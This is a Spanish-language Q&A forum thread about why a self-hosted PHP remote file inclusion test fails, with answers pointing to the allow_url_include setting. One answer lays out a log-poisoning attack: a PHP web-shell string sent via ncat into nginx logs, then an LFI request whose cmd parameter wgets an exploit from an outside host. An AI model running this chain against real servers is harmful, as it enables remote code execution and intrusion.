¿Vulnerabilidad simple de inclusión remota de archivos no funciona?

0

He alojado un archivo php vulnerable a RFI con un código como este:

<?php

echo include($_GET['page']);

?>

Sin embargo, cuando trato de explotar el código, estoy viendo enlace , no se ejecutan códigos php. ¿Me estoy perdiendo de algo? ¿O tiene apache2 una configuración que impide la obtención de recursos de dominios externos? Sin embargo, LFI funciona perfectamente bien. Pero, ¿no debería RFI funcionar tan bien con un código simple como ese?

El archivo que estoy tratando de incluir tiene el siguiente código:

<?php   
    echo 1;
?>
    
pregunta Lew Wei Hao 26.04.2017 - 20:15
fuente

2 respuestas

1

El allow_url_include está desactivado para la mayoría de los hosts que encontrará. Cuando no puede usar RFI (inclusión remota de archivos), siempre puede probar LFI (inclusión de archivos locales). El punto es que necesita obtener algo de código almacenado en el servidor para ejecutar.

Si tiene acceso a los registros, podría intentar inyectar PHP en los registros. Una forma sencilla es conectarse a través de ncat para inyectar cadenas en los registros.

Para HTTPS:

ncat -nvv --ssl hostname 443

Luego espera la entrada. Como ejemplo, podría ingresar lo siguiente:

<?php echo shell_exec($_REQUEST['cmd'] ?>

En los registros verá la solicitud incorrecta que envía al servidor web.

==> /var/log/nginx/access.log <==
xx.xx.xx.xx - - [28/Apr/2017:09:21:31 +0200] "<?php echo shell_exec($_REQUEST['cmd'] ?>" 400 173 "-" "-"

Si ahora incluye este archivo de registro en el que intentó incluir la URL, es posible que pueda descargar su URL usando wget con algo parecido a la siguiente solicitud:

http://192.168.8.133/test.php?page=/var/log/nginx/access.log&cmd=wget%20http://url-to-download/exploit.php

Esto solo funcionará si el host no ha deshabilitado el comando shell_exec() , pero esto es menos común que allow_url_include=0

    
respondido por el Yoram 28.04.2017 - 09:31
fuente
0

Me di cuenta de que la configuración de mi archivo php.ini tiene "allow_url_include = 0", lo que impide que se incluyan las URL remotas incluso cuando no hay un filtro para el código php.

    
respondido por el Lew Wei Hao 26.04.2017 - 20:30
fuente

Lea otras preguntas en las etiquetas